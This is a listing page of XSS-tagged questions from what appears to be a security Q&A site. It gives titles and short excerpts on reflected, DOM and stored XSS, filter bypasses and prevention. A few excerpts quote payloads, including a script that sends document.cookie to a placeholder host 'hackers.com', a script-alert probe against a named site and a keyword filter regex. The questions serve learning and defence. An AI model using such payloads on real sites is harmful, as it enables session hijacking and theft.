Cross-Site Scripting: An attack method that involves injection of code or markup into a webpage. There are three major types of XSS: Reflected XSS, Stored XSS (aka persistent XSS), DOM-based XSS (aka client side XSS).

learn more… | top users | synonyms

4
votes
1answer
341 views

How is DOM XSS possible here?

I was looking at this website and trying to understand how this XSS is possible, but I just can't figure it out. Here's the URL: http://www.domxss.com/domxss/01_Basics/05_jquery_html.html?681973661 ...
3
votes
2answers
1k views

UTF-7 XSS attacks in modern browsers

I've recently read about utf-7 XSS-attacks (i.e. Ned Batchelders article at http://nedbatchelder.com/blog/200704/xss_with_utf7.html) but could not get any UTF-7 attack to work in modern browsers. (I ...
5
votes
2answers
150 views

Any eventhandlers that apply to hidden elements?

Im trying to XSS a search field and my attack vector is getting reflected like this: <input type="text" id="txtRpHiddenKeyword" style="display: none;" value="ATTACK VECTOR HERE" /> Only ...
3
votes
1answer
1k views

ASP.NET Web API and potential XSS

I'm wondering if my ASP.NET Web API had an XSS vulnerability as my controller didn't have a method to handle the default GET call. Without the GET method being handled in the code a call to ...
9
votes
2answers
905 views

Is Django's built-in CSRF protection enough?

Django sets a CSRF protection token on the user's machine via a cookie. It then asks for the token on POST requests. If these two don't match, it returns a 403. If I change manually both the cookie ...
0
votes
1answer
484 views

How can attacker bypass this dom xss filter? [closed]

I'm trying to solve an dom xss challenge where filter used is : var anchor = window.location.hash.substring(1); if (window.location.href.match(/(script|javascript|src|onerror|%|<|>)/g)) { ...
2
votes
2answers
666 views

PHP on IIS 7.5 Hacked - How do I find and fix the XSS Injection?

I discovered that someone had gained access via FileZilla server software to my Windows 2012 Server. It seems like they had created extra accounts and were trying brute force attempts to get in nearly ...
1
vote
1answer
132 views

handle user-session-cookie and csrf token correctly for javascript app

I have a django web app serving restful api endpoints and a javascript web app communicating with those endpoints through ajax. They are under the same domain but in different ports. server api ...
5
votes
1answer
573 views

What is mutation XSS (mXSS)?

I was unable to find any good documentation or anything on mXSS. Can anyone give some info or give a link? I found a video and a PDF of the video's presentation: ...
4
votes
2answers
261 views

XSS when <, > and " are escaped

I'm pentesting a website that has a reflected XSS, or at least a vector for a reflection, but the issue is the following : It escapes <, >, " to their URL entities (not &, ) or () You are ...
0
votes
3answers
2k views

How can I control the content of the HTTP HOST header in requests issued from my website?

Is anyone familiar with a way in which I can post a link on my website, that when accessed will cause users to issue an HTTP request to a 3rd party site with custom content in the HOST header ...
4
votes
1answer
91 views

can Veracode be taught to accept mitigations that it does not yet recognize

Veracode (http://www.veracode.com/) has certain parameter encoding libraries that it trusts. Others are labeled as flaws. If I'm satisfied with another method of parameter encoding that is meant to ...
1
vote
2answers
2k views

How to do server side validations in Java to prevent XSS? [closed]

When i use method Get and intercept the request with any proxy tool. then Cross site scripting because of absence of server side validations. But in case of post method, as we know data flows in the ...
0
votes
1answer
96 views

Verifying one specific attack vector of Cross Site Scripting

Burp suggests that there is a reflection.. It changes a value of a cookie named as x as x=<script src=abc.js> and in response this value gets injected to a javascript function.. <script ...
2
votes
1answer
431 views

Using Selenium tool for xss scripts

Ok, so i need to know can Selenium webdriver tool be used for testing xss vulnerabilities and exploits. If its possible, then pleasee provide me with some example or tutorial. Apologizes, if am wrong ...
0
votes
1answer
436 views

Am I correctly preventing XSS in PHP? [duplicate]

While building my website I put together a security class which includes two functions, one takes input and returns it as a string passed through htmlentities function of PHP. The other strips out ...
-1
votes
1answer
164 views

Cross site scripting in url? [duplicate]

I currently have a xss problem in this site. https://bbcpanningen.cupweb6.nl:1311/servlet/OMSALogin?msgStatus="><script>alert("hello") </script> But I don't understand how an ...
2
votes
2answers
285 views

Unsanitized HTML input

My school uses the website WebAssign for online math and science homework. One of WebAssign's features is a "My Notes" section that allows you to input notes for a problem and come back to it later ...
-1
votes
1answer
396 views

Open Source tool for analysing javascript for security vulnerabilities [closed]

I am completely new to this field and am a college student. I am looking for a static code analysis tool that scans the source code of a web app ( NOT the URL) for security vulnerabilities. So far i ...
5
votes
2answers
406 views

XSS scripts in console

Well i need to know is it possible to enter xss script through console of developer's tools(e.g. : firebug of firefox)? Is this a proper way ?
2
votes
1answer
2k views

Are these both cross frame scripting attacks?

I've received a recent security review of a website which mentioned it had a cross frame scripting vulnerability. In short, it mentioned that a malicious site could load the page up in an iframe, ...
1
vote
1answer
357 views

Tracing security policy permissions in JavaScript

I'm working on a glorified click-jacker which uses CNAMES for navigation (example.bit -> example.speech.is) and I want to allow cross-domain access to the contents of an iFrame. The child iframe has ...
2
votes
1answer
2k views

Preventing XSS for REST API

I have a spring REST API and a client project. Client projects' HTML page uses jquery ajax calls to fetch data from REST API using json or xml format. My question is to avoid XSS attacks on a web ...
2
votes
2answers
198 views

xss Scripting on clean-urls

I am learning about XSS vulnerability. I need to know what sort of XSS attack can be done on clean URLs. Clean URL example : //my url.net/project/public/#questions/question/edit/id/122/answer/1
1
vote
4answers
901 views

Can Cross site scripting lead to database access?

I wanna know that weather a site having XSS vulnerability can lead the hacker to access database? I know that he can get the username and password from the cookie stored but can he completely access ...
1
vote
1answer
243 views

Reflected XSS - Automatic understanding of filters

I'm currently facing this possible reflected XSS vulnerability on a webapp: URL = http://www.test.com/login/?login=[PAYLOAD] When a user clicks on this link, it displays a login page that includes ...
7
votes
5answers
2k views

Does setting httponly prevent stealing a session using XSS?

If a session token is stored in a cookie that has httponly set, is there any way that a XSS vulnerability could allow a malicious user to steal a users session token?
3
votes
2answers
150 views

Why doesn't XSS vulnerability from the site launching the CSRF attack make the Synchronizer Token Pattern insecure?

I was reading this question about using Synchronizer Token Pattern to protect against CSRF and the comments of the answer intrigued me. Of course, as the last comment says, if your site has an XSS ...
2
votes
3answers
481 views

Flash ignores Content-Type header, allowing XSS?

I recently read that the Flash plugin ignores the Content-Type header in certain circumstances. In particular, you can give Flash a URL, and the Flash plugin will happily fetch the content at that ...
2
votes
1answer
311 views

CRLF Injection into Web Page

I was pen-testing a site recently which I found a few issues in, and this continues to a previous question I asked about Null-byte string termination in web applications. I have noticed that the site ...
3
votes
1answer
108 views

How can I migrate from filter-on-output to filter-on-input?

I recently joined a company with a million+ lines-of-code PHP app. The security approach to XSS appears to be to filter output whenever the dev thought of it. Not surprisingly, they didn't catch ...
0
votes
1answer
1k views

Calling JavaScript functions from within a Style tag XSS

I've identified an XSS in a client's application where they've failed to properly sanitize a variable. The application, however, is written in ASP.NET 2.x and they have request validation turned on. ...
5
votes
4answers
11k views

Best way to sanitize user input in PHP

Best way to sanitize User input so things i did when users place data - substr if over limited values found. htmlspecialchars() + ent_quotes + UTF-8 str_replace '<' '>' users input What more ...
1
vote
2answers
4k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
4
votes
2answers
849 views

XSS prevention for RESTful services

A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern ...
1
vote
1answer
262 views

Is it possible to execute xss under these conditions?

Is it possible to execute xss under the following conditions? The following blocked characters and words are replaced with _. characters: > , : , ; , " , ' , # , ~ , \ , % , ( , ) , [ , ] , { , } ...
3
votes
1answer
231 views

How effective is Caja at preventing XSS?

I recently found Caja which looks like an effective way of preventing XSS. From their site: The Caja Compiler is a tool for making third party HTML, CSS and JavaScript safe to embed in your ...
1
vote
3answers
432 views

What is the risk of cross site scripting if I embed javascript into a website

What is the risk of cross site scripting, if I embed javascript into a website? Quite simply, I am using a 'site builder', and they don't allow rotating images, but they allow you to embed code... So ...
0
votes
1answer
448 views

XSS Penetration Tools for OSX [closed]

I'm trying to find any recommended tools for XSS security testing using OSX. I tried using the latest OWASP Xenotix XSS Exploit Framework 4, although when used via CrossOver it crashes upon trying to ...
2
votes
1answer
105 views

Unusual ownership-ID using localStorage; any possible issues?

I'm working on a small side project in PHP. I may yet include some sort of actual username/password registration down the line, but for now, for ease of attracting attention, my goal is to allow for ...
1
vote
1answer
1k views

Uploading images safe of XSS, php code and virus

I know that my question has been responded lot of times, but most the responses addresses functions that I don't even use (like use include with images) and that makes me worry because maybe I'm not ...
3
votes
1answer
140 views

Site Executing control characters in title tag

I am currently pentesting a site for a client of mine and I found a very strange 'bug'. They have a search box on the home page which if I enter te\tst and hit search, it redirects to the search ...
2
votes
3answers
1k views

Cross site scripting prevention removing &lt and &gt

I'm testing an application that only skips < and > symbols. The user input being validated is always inserted between html tags like <b>, <span>, <div>, etc. and never passed ...
0
votes
2answers
162 views

Is there an open source runtime enforcement tool?

I have been looking for open source runtime enforcement tools that I can use my own policies to prevent input validation vulnerabilities, in web applications. The web applications that I want to ...
4
votes
1answer
84 views

Is there any danger in the preview button in blogs?

In my Wordpress blog (though this may be true of other blogs too), there is a preview web page feature. So when I get a comment with a link, I can hover over the link, and it shows me a preview of ...
-2
votes
2answers
282 views

Parameterization strategy for hazardous character injection [closed]

I have a input text field for accepting Email ID. If Email ID is not entered by User, I have a client side validation using Java Script to display error message which reads like, "Please enter valid ...
0
votes
1answer
410 views

XSS: What type of text encoding is this? [closed]

I found this encoding as a XSS example to bypass certain filters. Been trying to look some information (plus encoder/decoder tool) about this type of encoding but was pretty difficult without knowing ...
42
votes
3answers
4k views

I found obfuscated code in a comment on my blog. What should I do?

Today I was checking comments on my blog and I found a strange comment, here is the exact text <script>var ...
2
votes
1answer
104 views

Ethical approach about corporate website and vulnerabilities [closed]

I like web security and i have academic formation about that. Just for fun I found a website (insurance company) with critical vulnerabilities like xss or sql injection. Now, I obviously will alert ...
0
votes
2answers
383 views

Hide XSS payload

Scenario : There is a persistent XSS on a page with the username information. The username is present three times in the page, is visible only once and the visible one is correctly escaped. How ...